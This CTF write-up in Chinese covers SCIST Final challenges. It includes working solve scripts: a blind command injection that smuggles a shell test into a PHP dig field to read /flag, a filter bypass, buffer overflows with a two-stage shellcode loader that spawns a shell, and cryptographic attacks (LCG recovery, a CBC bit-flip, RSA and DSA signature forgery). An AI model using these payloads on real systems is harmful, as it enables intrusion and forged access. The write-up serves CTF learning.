SCIST Final CTF Write Up
題目前面加上[*]代表賽後解
Web
dig-blind2
<?php if (isset($_POST['name'])) : ?><p> <p>dig result:</p> <pre><?php exec("dig '" . $_POST['name'] . "';", $_, $return_status); if ($return_status === 0) { echo 'success'; } else { echo 'fail'; } ?></pre></p><?php endif; ?>exploit:
import requests, string
URL = "http://lab.scist.org:31601/"
def check_char(pos, c): c = c.replace("'", "'\\''").replace("\"", "\\\"").replace("$", "\\$") cmd = f"[ \"$(cut -c{pos} /flag)\" = \"{c}\" ]" payload = f"google.com' && {cmd} #" try: r = requests.post(URL, data={"name": payload}, timeout=5) return "<pre>success</pre>" in r.text except: return False
def extract_flag(): charset = "SCIST{}_" + string.ascii_uppercase + string.ascii_lowercase + string.digits + "-" flag = "" for pos in range(1, 51): for c in charset: if check_char(pos, c): flag += c print(f"\r[+] {flag}") break else: break return flag
if __name__ == "__main__": f = extract_flag() print(f"{f}")[*] dig-waf5
<?php if (isset($_POST['name'])): ?> <p>dig result:</p> <pre><?php $good = preg_match('/^(?i)(?!.*flag)[A-z0-9\'$]+$/', $_POST['name']);
if (!$good) { echo "BAD HACKER!!!"; } else { $cmd = 'bash -c "dig \'' . $_POST['name'] . '\'"'; system($cmd); }?> </pre><?php endif; ?>噁到爆的題目,目標是想辦法讀到/flag,然後只接受 A-Z,a-z,0-9,’$[]^_跟反單引,其他任何符號也都會被檔,也不能直接組flag,我原本思路是繞過各種限制組成ls /,payload如下:
`ls$IFS`echo$IFS’\057’“
- $IFS繞過空白
- 利用echo印出/
- 包在`裡面執行
但發現結果是index.phpecho057長這樣,可以觀察到反單引是從外面執行到內層的所以行不通,後來思路是反單引印出ls space /,也確實結果是ls /但還是執行不了因為最外層要包覆反單引,但包覆又會是如上結果。
賽後根據提示,可以去挖dig查語法:
dig [@server] [-b address] [-c class] [-f filename] [-k keyfile] [-m] [-p port#] [-q 名稱] [-t type] [-u] [-v] [-x addr] [-y [hmac:] name: key] [-4] [-6] [name] [type] [class] [queryopt ...]可以發現有-f可以用組出dig -f/flag,然後用$’..’組出任意commad
舉例:$'\x2f',result:bear@DESKTOP-6VT9PSI:$ $'\x2f' -bash: /: Is a directory
所以基本來說死嗑反引號的都解不出來。
最終payload:'$'\x2d'f$9$'\x2f'$'\x66'lag'
Reverse
Checker101
exploit:
# .rodata:0000000001021C00 db 54h# .rodata:0000000001021C01 db 'DNTS|Mrt0X3X2njw64XA63>Xdo4dl4uX2o7rkcXe4X3Xwn4dbX7aXd3l4&z'
encrypted_first_byte = 0x54encrypted_rest_string = "DNTS|Mrt0X3X2njw64XA63>Xdo4dl4uX2o7rkcXe4X3Xwn4dbX7aXd3l4&z"
encrypted_bytes = [encrypted_first_byte] + [ord(c) for c in encrypted_rest_string]
key = 7decrypted_bytes = [b ^ key for b in encrypted_bytes]
flag = "".join([chr(b) for b in decrypted_bytes])
print(f"{flag}")Duel
exploit:
from pwn import *
p = remote("lab.scist.org", 31605)
print("Choosing weapon '7'...")p.sendlineafter(b'> ', b'7')
print("Waiting for the 'Start!' signal...")p.recvuntil(b'Start!\n')
print("Signal received! Firing!")p.send(b' ')
print("Receiving the result...")
p.interactive()
#SCIST{H4ha_ch0051ng_4_900d_w3ap0n_15_much_m0r3_imp07ant}[*] Neko Identification
題目給了.html檔主要是一個上傳圖片然後裡面有被混淆過的JS,拿去線上Deobfuscator
(function (H, L) { const J = i; const m = H(); while (true) { try { const I = parseInt(J(399)) / 1 * (-parseInt(J(410)) / 2) + parseInt(J(403)) / 3 * (-parseInt(J(413)) / 4) + -parseInt(J(406)) / 5 + -parseInt(J(397)) / 6 + -parseInt(J(414)) / 7 + -parseInt(J(417)) / 8 + parseInt(J(426)) / 9; if (I === L) { break; } else { m.push(m.shift()); } } catch (Y) { m.push(m.shift()); } }})(G, 111600);const a = [84, 97, 109, 97, 107, 105, 32, 75, 111, 116, 97, 116, 115, 117];function G() { const X = ["arrayBuffer", "wKBck", "color", "4LAkRdM", "length", "imageInput", "116ehsHeu", "1127161FMAmaN", "ofbaM", "result", "603712xoHuuw", "not a neko", "Please upload a file", "green", "Image too small", "WnaiF", "hMsIh", "textContent", "getElementById", "5763465oMPzgo", "VeiKn", "724992NJWWXa", "Nyan!", "39315PgXeea", "red", "files", "YfLQx", "1206gaSnBI", "CqRYM", "KmABs", "405890uCeNbt"]; G = function () { return X; }; return G();}function i(H, L) { const m = G(); i = function (I, Y) { I = I - 396; let d = m[I]; return d; }; return i(H, L);}function showResult(H, L) { const t = i; const m = document[t(425)](t(416)); m[t(424)] = H; m.style[t(409)] = L;}裡面a陣列看起來很可疑,我以為是把a陣列寫到圖片的metadata然後丟進去驗證,但試了好多次都沒辦法,最後還是沒想到怎麼繞過”NOT A NEKO”的ERROR限制。
賽後看別人解釋說把a array跟b array做xor就好…,還有人用兩的個prompt給ai就解出來…
Pwn
Checkin
exploit:
from pwn import *
r=remote('lab.scist.org',31606)
context.arch='amd64'
p=b'a'*40+p64(0x40101a)+p64(0x401955)
r.sendlineafter('?',p)
r.interactive()[*] Return to shellcode 2015
題目給了 get() 可以BOF然後保護機制都沒開,但是限制你只能在16bytes內組出shellcode,在 https://www.exploit-db.com/shellcodes 找了老半天也最多只有21bytes的shellcode,也沒有地方可以stack pivoting,整理一下目前資訊:
-
程式會使用 fgets(buf, 24, stdin) 讀入我們的 payload → 實際最多能送進 23 bytes。
-
mov byte ptr [rbp-1], 0x0 會污染 payload 的第 8 byte。
-
Stack 是可執行的,所以我們能直接在 stack 上放 shellcode。
所以我們需要把 shellcode 分兩段送:
第一段:read(0, rsp, 0x40); jmp rsp loader
第二段:真正的 shellcraft.sh()。
先放我失敗的版本跟gemini詳解:
from pwn import *
context.arch = 'amd64'context.binary = elf = ELF('./ret2sc')context.log_level = 'debug'
# r = remote("lab.scist.org", 31607)r = process(elf.path)
jmp_rax = 0x4010ac
stage1_shellcode = asm(""" xor rdi, rdi lea rsi, [rax+8] mov dl, 0x7f xor rax, rax syscall jmp rsi""")
payload = asm("nop") * 8 + stage1_shellcode
payload = payload.ljust(16, b"\x90") + p64(jmp_rax)[:7]
r.sendlineafter(b"\n", payload)
r.send(asm(shellcraft.sh()))r.interactive()執行流程與問題點
fgets將你的payload讀入buf。此時rax指向buf的開頭,也就是 8 個 NOP 的起始位置。- 程式返回到
jmp rax,CPU 跳轉到buf開頭。 - 執行 8 個 NOP (
\x90) 後,來到你的stage1_shellcode。 stage1_shellcode開始執行:xor rdi, rdi; mov dl, 0x7f; xor rax, rax: 設定read參數,這部分沒問題。lea rsi, [rax+8]: 這是主要問題點!rax仍然是buf的起始位址。rax+8指向哪裡?它指向buf開頭往後 8 個 byte 的地方,也就是你stage1_shellcode的起始位置。- 所以
rsi現在的值就是你stage1_shellcode的位址。
syscall: 系統開始等待輸入,並準備將內容寫入到rsi指向的位址。r.send(asm(shellcraft.sh())): 你送出第二段 shellcode。
- 災難發生:
read系統呼叫會把shellcraft.sh()的內容從stage1_shellcode的開頭開始覆蓋下去。你的syscall和jmp rsi指令會被shellcraft.sh()的前幾個 byte (\x48\x31\xd2...) 給蓋掉。 - 當
syscall執行完畢後,CPU 接著要執行下一條指令。但原本的jmp rsi已經不存在了,取而代之的是shellcraft.sh()的一部分,這幾乎不可能剛好是你想要的指令,於是程式崩潰 (Segmentation fault)。
別人成功版本:
#!/usr/bin/env python3from pwn import *import time
context.arch = 'amd64'context.os = 'linux'context.log_level = 'info'
# p = process('./chal')p = remote('lab.scist.org', 31607)
jmp_rax = 0x4010ac
loader = asm(""" xor edi, edi # rdi = 0 (arg1: fd=stdin) mov rsi, rsp # rsi = rsp (arg2: buf=current stack pointer) mov edx, 0x40 # rdx = 0x40 (arg3: count=64 bytes) xor eax, eax # rax = 0 (syscall number for read) syscall # 執行 read(0, rsp, 0x40) jmp rsp # 跳到 rsp,也就是剛讀進來的 shellcode""")
payload1 = loader + p64(jmp_rax)assert len(payload1) == 24
log.info("Sending stage 1")p.send(payload1[:23])time.sleep(0.5)
log.info("Sending stage 2")payload2 = asm(shellcraft.sh())p.send(payload2)
p.interactive()執行流程
fgets將payload1讀入到 stack 上的buf。fgets函式返回,其回傳值 (buf 的位址) 存放在rax暫存器中。- BOF 觸發,程式執行完畢後返回到我們指定的位址
0x4010ac(jmp rax)。 jmp rax執行,CPU 跳轉到buf的開頭,也就是loadershellcode 的位置。loader開始執行:xor edi, edi; mov edx, 0x40; xor eax, eax: 設定read系統呼叫的參數。mov rsi, rsp: 這是關鍵! 此時rsp指向哪裡?因為我們剛透過jmp rax跳轉過來,rsp正好指向jmp rax這個返回位址在 stack 上的下一個位置。換句話說,rsp指向一個緊鄰著我們第一段 payload 的、乾淨的、可用的 stack 空間。syscall: 核心開始等待我們從stdin輸入第二段 payload。輸入的內容會被直接寫入到rsp所指向的記憶體位址。p.send(payload2): 我們送出真正的shellcraft.sh()。jmp rsp:read結束後,rsp仍然指向剛剛寫入的shellcraft.sh()的開頭。jmp rsp執行,成功跳轉到第二段 shellcode,取得 shell。
這個方法的美妙之處在於,它完美地利用了 stack 的連續性,讀取和執行的位置無縫銜接,且不會互相干擾。
Crypto
又來到 prompt engineering 題目
owo
exploit:
#!/usr/bin/env python3from pwn import remotefrom Crypto.Util.number import long_to_bytesfrom math import gcd
# Conectarse al servidor del retoconn = remote('lab.scist.org', 31611)
# --- Paso 1: Recuperar los estados del LCG ---states = []# La entrada que se convierte en 0 después del NOT es 'ff...ff' (64 bytes)null_input_hex = 'ff' * 64
print("[+] Recuperando 10 estados del LCG...")for i in range(10): conn.recvuntil(b'> ') conn.sendline(null_input_hex.encode()) conn.recvuntil(b'oWo = ') leaked_hex = conn.recvline().strip().decode() state = int(leaked_hex, 16) states.append(state) print(f" Estado {i+1}: {hex(state)}")
# --- Paso 2: Crackear el LCG para encontrar 'owo' ---diffs = [states[i+1] - states[i] for i in range(len(states) - 1)]
# T_i = d_{i+2}*d_i - d_{i+1}^2 debe ser un múltiplo de owomultiples_of_owo = []for i in range(len(diffs) - 2): term = diffs[i+2] * diffs[i] - diffs[i+1]**2 multiples_of_owo.append(abs(term))
# owo será el GCD de estos múltiplosprint("\n[+] Calculando el módulo 'owo'...")owo = gcd(multiples_of_owo[0], multiples_of_owo[1])for i in range(2, len(multiples_of_owo)): owo = gcd(owo, multiples_of_owo[i])
print(f" Módulo recuperado (owo): {hex(owo)}")
# --- Paso 3: Recuperar 'OwO' y 'OWO' ---C1, C2, C3 = states[0], states[1], states[2]d1 = C2 - C1d2 = C3 - C2
print("[+] Calculando los parámetros 'OwO' y 'OWO'...")# a = d2 * (d1^-1) mod owod1_inv = pow(d1, -1, owo)OwO = (d2 * d1_inv) % owo
# b = C2 - a*C1 mod owo# Como el incremento es -OWO, OWO = -b = a*C1 - C2 mod owoOWO = (OwO * C1 - C2) % owo
print(f" Multiplicador recuperado (OwO): {hex(OwO)}")print(f" Parámetro recuperado (OWO): {hex(OWO)}")
# --- Paso 4: Revertir el LCG para encontrar la bandera ---# Primero, encontrar el estado antes de nuestra primera interacción (C_100 en la cronología del servidor)# C_1 = (OwO * C_100 - OWO) mod owo => C_100 = (C_1 + OWO) * OwO_inv mod owoprint("\n[+] Revertiendo el LCG para encontrar la bandera...")OwO_inv = pow(OwO, -1, owo)current_state = states[0] # Este es C_1 (o C_101 en la cronología del servidor)
# Revertir una iteración para obtener C_100current_state = ((current_state + OWO) * OwO_inv) % owoprint(f" Estado C_100 recuperado: {hex(current_state)}")
# Revertir las 100 iteraciones iniciales# La función de inversión es: state = (state + OWO) * OwO_inv mod owofor i in range(100): current_state = ((current_state + OWO) * OwO_inv) % owo
# El estado final es el valor entero de la banderaflag_long = current_stateflag_bytes = long_to_bytes(flag_long)
print("\n" + "="*40)print(f" FLAG: {flag_bytes.decode()}")print("="*40)
conn.close()Yoshino’s Secret Plus
exploit:
#!/usr/bin/env python3from pwn import remote, context, logimport codecsimport time
# 將 pwntools 的日誌等級設為 'error',避免過多輸出context.log_level = 'error'
def xor(b1: bytes, b2: bytes) -> bytes: """對兩個 bytes 物件進行 XOR 運算""" return bytes([x ^ y for x, y in zip(b1, b2)])
def calculate_flip_pos() -> int: """ 動態計算 'admin=0' 中 '0' 的翻轉位置,不再硬編碼。 """ # 根據伺服器原始碼重建 passkey 的結構 # 我們不需要知道 secret 的內容,只需要知道它的格式來計算長度 id_string = "Tomotake_Yoshino_is_the_cutest<3" dummy_secret_hex = "00" * 8 # 8 bytes urandom -> 16 hex chars passkey_structure = f'OTP=12345678&id={id_string}&admin=0&secret={dummy_secret_hex}'
# 找到 'admin=0' 中 '0' 的索引 try: target_char_index = passkey_structure.find("admin=0") + 6 if target_char_index < 6: # .find() 找不到時返回 -1 raise IndexError("Cannot find 'admin=0' in plaintext structure.") except IndexError as e: log.failure(str(e)) log.failure("腳本攻擊失敗,可能是伺服器端的 id 字串已更改。") exit(1)
# 計算 '0' 在哪個明文區塊 (P_n) # P1 是區塊 0, P2 是區塊 1, ... block_index = target_char_index // 16 offset_in_block = target_char_index % 16
# 要修改 P_n,需要翻轉前一個密文塊 C_{n-1} # C_{n-1} 在完整 token (IV || C1 || C2 ...) 中的起始位置是 16 * n # 所以最終位置是 16 * n + offset final_pos = 16 * block_index + offset_in_block
log.info(f"動態計算出的翻轉位置 (flip_pos) 為: {final_pos}") return final_pos
def attempt_attack(flip_pos: int): """執行一次攻擊""" conn = None try: conn = remote('lab.scist.org', 31609) conn.recvuntil(b'token: ') initial_token_hex = conn.recvline().strip().decode() initial_token = codecs.decode(initial_token_hex, 'hex') conn.recvuntil(b'OTP: ') server_otp = int(conn.recvline().strip().decode())
# 偽造 admin=1,使用動態計算出的 flip_pos flip_val = ord('0') ^ ord('1') token_list = list(initial_token) token_list[flip_pos] ^= flip_val token_admin_flipped = bytes(token_list)
# 偽造 OTP p1_original = b'OTP=12345678&id=' p1_new_target = f'OTP={server_otp:08d}&id='.encode() iv_original = token_admin_flipped[:16] iv_flipped = xor(iv_original, xor(p1_original, p1_new_target))
final_token = iv_flipped + token_admin_flipped[16:] final_token_hex = final_token.hex()
# 發送並檢查結果 conn.sendlineafter(b'token > ', final_token_hex.encode()) response = conn.recvall(timeout=2).decode()
if "FLAG" in response or "SCIST" in response: print("\n" + "="*50) print(" 🎉🎉🎉 成功找到 FLAG! 🎉🎉🎉") print(f" {response.strip()}") print("="*50) return True else: return False except Exception: return False finally: if conn: conn.close()
if __name__ == '__main__': # 首先,動態計算出最關鍵的翻轉位置 flip_pos = calculate_flip_pos()
max_retries = 50 for i in range(1, max_retries + 1): print(f"[*] 正在進行第 {i}/{max_retries} 次嘗試...") if attempt_attack(flip_pos): print("\n[+] 攻擊成功!") break time.sleep(0.5) else: print("\n[-] 已達最大重試次數,攻擊失敗。")RSA SigSig
exploit:
#!/usr/bin/env python3from pwn import remote, logfrom Crypto.Util.number import bytes_to_long
# 連線到伺服器conn = remote('lab.scist.org', 31613)
# 1. 接收 get_example() 的輸出conn.recvuntil(b'pkey = ')pkey_ex = int(conn.recvline().strip())conn.recvuntil(b'skey = ')skey_ex = int(conn.recvline().strip())conn.recvuntil(b'n = ')n = int(conn.recvline().strip())
log.info(f"Received n, pkey_ex, skey_ex")
# 2. 從 skey 計算私鑰指數 dhalf = 1024 // 2left_part = skey_ex >> halfright_part = skey_ex & ((1 << half) - 1)d_ex = left_part * right_part
log.info(f"Calculated example private exponent d_ex")
# 3. 計算 M = k * phi(n)# 這是整個攻擊的關鍵,M 是 phi(n) 的一個倍數M = pkey_ex * d_ex - 1log.info("Calculated M (a multiple of phi(n))")
# 4. 進入 get_flag() 迴圈並偽造簽章# 我們只需要成功一次即可log.info("Waiting for the flag challenge...")conn.recvuntil(b'pkey = ')pkey_chal = int(conn.recvline().strip())log.info(f"Received challenge pkey = {pkey_chal}")
# 5. 計算挑戰的「偽私鑰」# 關鍵捷徑:直接用 M 作為模數來計算反元素,而無需分解 ntry: d_chal_pseudo = pow(pkey_chal, -1, M) log.info("Calculated pseudo-private key d'_chal using M")except ValueError: log.error("Failed to compute inverse. gcd(pkey_chal, M) != 1. This is rare. Try rerunning.") exit(1)
# 6. 計算簽章message_bytes = b'give_me_flag'message_long = bytes_to_long(message_bytes)
# S^e = m ^ e => S = (m ^ e)^dtarget = message_long ^ pkey_chalsignature = pow(target, d_chal_pseudo, n)log.info(f"Calculated forged signature")
# 7. 發送簽章conn.sendlineafter(b"signature : ", str(signature).encode())
# 8. 接收 FLAGlog.success("Signature sent. Receiving flag...")response = conn.recvall(timeout=5).decode()print("\n" + "="*20 + " FLAG " + "="*20)print(response)print("="*46)
conn.close()dsaaaaaaaaaaaaaaaaa
exploit:
#!/usr/bin/env python3from pwn import remotefrom Crypto.Util.number import bytes_to_long, long_to_bytesfrom hashlib import sha1from random import randint
# Función de hash del retodef H(m): return bytes_to_long(sha1(m).digest())
# Conectar al servidorconn = remote('lab.scist.org', 31612)
# --- Paso 1: Extraer parámetros públicos ---print("[+] Extrayendo parámetros públicos del servidor...")conn.recvuntil(b'p = ')p = int(conn.recvline().strip())conn.recvuntil(b'q = ')q = int(conn.recvline().strip())conn.recvuntil(b'g = ')g = int(conn.recvline().strip())conn.recvuntil(b'y = ')y = int(conn.recvline().strip())
# CORREGIDO: Convertir a string antes de rebanarprint(f" p = {str(p)[:20]}... q = {str(q)[:20]}...")
# --- Paso 2: Obtener dos firmas con el mismo nonce ---print("\n[+] Obteniendo firmas para realizar el ataque de reutilización de nonce...")
# Obtener la primera firma en t=0conn.recvuntil(b'> ')conn.sendline(b'e')conn.recvuntil(b'> ')conn.sendline(b'a') # Mensaje 'AyachiNene'conn.recvuntil(b'r = ')r1 = int(conn.recvline().strip())conn.recvuntil(b's = ')s1 = int(conn.recvline().strip())m1 = b'AyachiNene'# CORREGIDO: Convertir a string antes de rebanarprint(f" Firma 1 (t=0) para '{m1.decode()}': (r={str(r1)[:10]}..., s={str(s1)[:10]}...)")
# Avanzar el contador t de 1 a 5for i in range(5): conn.recvuntil(b'> ') conn.sendline(b'e') conn.recvuntil(b'> ') conn.sendline(b'i') # Cualquier mensaje sirve
print(" Avanzando el contador de tiempo de t=1 a t=5...")
# Obtener la segunda firma en t=6 (nonce se reutiliza)conn.recvuntil(b'> ')conn.sendline(b'e')conn.recvuntil(b'> ')conn.sendline(b'i') # Mensaje 'InabaMeguru'conn.recvuntil(b'r = ')r2 = int(conn.recvline().strip())conn.recvuntil(b's = ')s2 = int(conn.recvline().strip())m2 = b'InabaMeguru'# CORREGIDO: Convertir a string antes de rebanarprint(f" Firma 2 (t=6) para '{m2.decode()}': (r={str(r2)[:10]}..., s={str(s2)[:10]}...)")
# --- Paso 3: Calcular la clave privada 'x' ---print("\n[+] Calculando la clave privada 'x'...")h1 = H(m1)h2 = H(m2)
# x = (s1*H(m2) - s2*H(m1)) * (s2*r1 - s1*r2)^-1 mod qnum = (s1 * h2 - s2 * h1) % qden = (s2 * r1 - s1 * r2) % qden_inv = pow(den, -1, q)x = (num * den_inv) % q# CORREGIDO: Convertir a string antes de rebanarprint(f" Clave privada recuperada (x): {str(x)[:20]}...")
# --- Paso 4: Falsificar la firma para 'GET_FLAG' ---print("\n[+] Falsificando la firma para el mensaje 'GET_FLAG'...")m_flag = b'GET_FLAG'h_flag = H(m_flag)
# Generar una firma válida con nuestra clave privada 'x'k_new = randint(1, q - 1)r_flag = pow(g, k_new, p) % qs_flag = (pow(k_new, -1, q) * (h_flag + x * r_flag)) % q
# CORREGIDO: Convertir a string antes de rebanarprint(f" Firma falsificada: (r={str(r_flag)[:10]}..., s={str(s_flag)[:10]}...)")
# --- Paso 5: Enviar la firma y obtener la bandera ---print("\n[+] Enviando firma falsificada al servidor...")conn.recvuntil(b'> ')conn.sendline(b'g')conn.recvuntil(b'r: ')conn.sendline(str(r_flag).encode())conn.recvuntil(b's: ')conn.sendline(str(s_flag).encode())
# Leer la respuesta del servidorresponse = conn.recvall().decode()print("\n" + "="*50)print(" Respuesta del Servidor:")print(response.strip())print("="*50)Misc
MIT license
exploit:
from pwn import *import re
HOST = 'lab.scist.org'PORT = 31603
log.info(f"Connecting to {HOST}:{PORT}")p = remote(HOST, PORT)
p.recvuntil(b"Enter code: ")
p.sendline(b"patch")
p.recvuntil(b"src: ")p.sendline(b"_Printer__filenames")
p.recvuntil(b"dst: ")p.sendline(b"_MIT__flag")
p.recvuntil(b"Enter code: ")p.sendline(b"license")
p.interactive()#SCIST{MIT-license_can_readfile!}總結
這次拿到正式組第9名,最高第4名的蠻可惜的。
